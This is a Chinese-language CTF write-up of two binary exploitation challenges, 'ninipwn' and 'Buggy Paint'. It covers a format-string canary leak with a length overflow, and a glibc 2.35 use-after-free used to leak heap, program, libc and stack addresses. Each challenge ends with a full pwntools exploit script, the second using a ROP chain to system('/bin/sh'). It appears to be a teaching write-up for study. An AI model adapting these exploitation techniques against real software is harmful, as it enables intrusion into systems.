比赛期间在打春秋杯,赛后复现
ninipwn
保护全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
漏洞点在于格式化字符串、强制类型转换、变量溢出,存在后门函数win
,覆盖返回地址的低位为win
即可
void __fastcall encryption_service()
{
char text[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v1; // [rsp+108h] [rbp-8h]
v1 = __readfsqword(0x28u);
printf("Text length: ");
__isoc99_scanf("%d", &text_length);
getchar();
if ( (unsigned int)text_length < 0x101 )
{
printf("Key: ");
read(0, key, 0xAuLL);
printf("Key selected: ");
printf(key); //fmt
putchar(10);
printf("Text: ");
read(0, text, text_length);
encrypt(text);
printf("Encrypted output: ");
write(1, text, text_length);
}
else
{
puts("Text length must be less than 256");
}
}
格式化字符串可以用来泄露canary
绕过保护控制返回地址,限制text_length
为0x100
,但是过了if
判断之后可以通过key
溢出到text_lenght
来达到增加长度的目的,encrypt
函数中要求输入内容长度与text_length
相同,在encrypt
函数中会讲输入的内容与key
进行异或
exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter(b'Text length:', str(4294967296))
key = b'%39$p' + b'\x00' * 3 + b'\x19\x01'
r.sendafter(b'Key: ', key)
r.recvuntil(b'0x')
canary = int(r.recv(16), 16)
canary_bytes = canary.to_bytes(8, byteorder='little')
p = bytearray(b'\x00' * 0x108 + canary_bytes + b'\x00' * 0x8 + b'\x33')
for i in range(len(p)):
p[i] ^= key[i % 8]
r.sendlineafter(b'Text:', p)
r.interactive()
Buggy Paint
glibc 2.35
的堆题,保护全开
add
中内容比较多, 需要注意的有两点,一个是color
地址在bss
段,和代码段存在固定偏移,一个是堆管理中存在堆地址
unsigned __int64 add()
{
...
else
{
heap_ptr = (heap *)malloc(0x30uLL);
heap_ptr->x = x;
heap_ptr->y = y;
heap_ptr->width = width;
heap_ptr->height = height;
if ( color == 1 )
color_code = "\x1B[31m";
else
color_code = "\x1B[32m";
heap_ptr->color = (__int64)color_code;
*(_QWORD *)&heap_ptr->ptr = malloc(width * height);
memset(*(void **)&heap_ptr->ptr, 0, height * width);
printf("content: ");
read(0, *(void **)&heap_ptr->ptr, height * width);
heap_manager[32 * x + y] = heap_ptr;
}
...
}
漏洞出现在delete
中,存放堆内容的释放部分有uaf
漏洞,指针未清零
unsigned __int64 delete()
{
...
if ( heap_manager[32 * x + y] )
{
free(*(void **)(heap_manager[32 * x + y] + 40LL));// uaf
free((void *)heap_manager[32 * x + y]);
heap_manager[32 * x + y] = 0LL;
}
...
}
有一个selete
函数,将选中的堆地址放入bss
段,delete
和edit
都是基于这个变量中的地址,但是堆删除之后也不影响对选中这个地址进行操作
unsigned __int64 selete()
{
...
if ( x <= 0x1F && y <= 0x1F )
{
if ( heap_manager[32 * x + y] )
seleted_ptr = heap_manager[32 * x + y];
else
puts("Empty cell");
}
...
}
所以本题的利用思路就是泄露堆基址、libc
地址、程序基址、栈地址,最后将栈的返回地址劫持为system('/bin/sh')
先创建堆看堆的内部结构
add(0, 0, 8, 2, 1, b'a')
pwndbg> x/20gx 0x55fdf3398290
0x55fdf3398290: 0x0000000000000000 0x0000000000000041
0x55fdf33982a0: 0x0000000000000000 0x0000000000000000 #x | y
0x55fdf33982b0: 0x000055fdf2c1c07d 0x0000000000000008 #color_addr in bss | width
0x55fdf33982c0: 0x0000000000000002 0x000055fdf33982e0 #height | heap_ptr
0x55fdf33982d0: 0x0000000000000000 0x0000000000000021 #size = width * height
0x55fdf33982e0: 0x0000000000000a61 0x0000000000000000 #content
0x55fdf33982f0: 0x0000000000000000 0x0000000000020d11
泄露堆基址:tcache bin
中第一个被释放的堆fd
就是堆基址,由于高版本存在key
所以本题中fd
是key
,选中这个堆,删除再show
即可得到key
,再左移12
位得到堆基址
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5560820632d0
Size: 0x20 (with flag bits: 0x21)
fd: 0x556082063
泄露程序基址:堆管理中存在color_addr
,就是程序中的一个地址,将heap_ptr
改成堆中指向color_addr
的地址,在输出content
的时候就会输出该堆地址中的color_addr
的地址,通过计算即可得到程序基址
创建两个堆,其中保存内容的堆大小要和堆管理的大小不同,选择第一个堆,将两个堆删除之后创建一个堆,坐标同第一个堆,大小(即width*height
)同堆管理,这样就实现了伪造堆管理,创建的堆的堆管理落在第二个堆的堆管理上而存储内容的堆落在第一个堆的堆管理上。伪造heap_ptr
为color_addr
即可
pwndbg> x/20gx 0x5622d0d28290
0x5622d0d28290: 0x0000000000000000 0x0000000000000041 #heap1
0x5622d0d282a0: 0x0000000000000000 0x0000000000000000
0x5622d0d282b0: 0x00005622d0d28000 0x0000000000000008
0x5622d0d282c0: 0x0000000000000001 0x00005622d0d28310 #content_ptr
0x5622d0d282d0: 0x0000000000000000 0x0000000000000021
0x5622d0d282e0: 0x00000005622d0d28 0xa50b92a104492f29
0x5622d0d282f0: 0x0000000000000000 0x0000000000000041 #heap2
0x5622d0d28300: 0x0000000000000000 0x0000000000000000
0x5622d0d28310: 0x00005622cff2d07d 0x0000000000000008 <--target
0x5622d0d28320: 0x0000000000000006 0x00005622d0d282a0
0x5622d0d28330: 0x0000000000000000 0x0000000000000021
0x5622d0d28340: 0x00005627b2ff8fc8 0xa50b92a104492f29
0x5622d0d28350: 0x0000000000000000 0x0000000000020cb1
此时得到程序基址,即可计算出got
地址,然后故技重施得到libc
地址,再通过environ
得到栈地址
最后劫持main
函数的程序流为system('/bin/sh')
,但直接改成p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
会报错,所以要改成p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rdi_ret + 1) + p64(system)
,menu
中输入1-5
以外的任何数触发default
中的return 0
即可运行到劫持部分
exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(x, y, width, height, color, content):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'x: ', str(x))
r.sendlineafter(b'y: ', str(y))
r.sendlineafter(b'width: ', str(width))
r.sendlineafter(b'height: ', str(height))
r.sendlineafter(b'color(1=red, 2=green): ', str(color))
r.sendlineafter(b'content: ', content)
def select(x, y):
r.sendlineafter(b'> ', str(3))
r.sendlineafter(b'x: ', str(x))
r.sendlineafter(b'y: ', str(y))
def edit(content):
r.sendlineafter(b'> ', str(4))
r.sendlineafter(b'New content: ', content)
def show():
r.sendlineafter(b'> ', str(5))
def delete(x, y):
r.sendlineafter(b'> ', str(2))
r.sendlineafter(b'x: ', str(x))
r.sendlineafter(b'y: ', str(y))
add(0, 0, 8, 2, 1, b'a')
add(0, 1, 8, 2, 1, b'a')
select(0, 0)
delete(0, 0)
show()
r.recvuntil(b'Box content:\n')
heap_base = u64(r.recv(5).ljust(8, b'\x00')) << 12
delete(0, 1)
p = p64(0) + p64(0) + p64(heap_base) + p64(0x8) + p64(0x1) + p64(heap_base + 0x310)
add(0, 0, 8, 6, 1, p)
show()
r.recvuntil(b'Box content:\n')
elf_base = u64(r.recv(8)) - 0x207d
puts_got = elf.got['puts'] + elf_base
delete(0, 0)
p1 = p64(0) + p64(0) + p64(heap_base) + p64(0x8) + p64(0x1) + p64(puts_got)
add(0, 0, 8, 6, 1, p1)
show()
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('./libc.so.6')
libc_base = puts_addr - libc.sym['puts']
delete(0, 0)
environ = libc_base + libc.sym['__environ']
p1 = p64(0) + p64(0) + p64(heap_base) + p64(0x8) + p64(0x1) + p64(environ)
add(0, 0, 8, 6, 1, p1)
show()
stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x120
pop_rdi_ret = libc_base + 0x2a3e5
delete(0, 0)
p1 = p64(0) + p64(0) + p64(heap_base) + p64(0x8) + p64(0x4) + p64(stack_addr)
add(0, 0, 8, 6, 1, p1)
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
system = libc_base + libc.sym['system']
p = p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rdi_ret + 1) + p64(system)
edit(p)
r.sendlineafter(b'>', b'0')
r.interactive()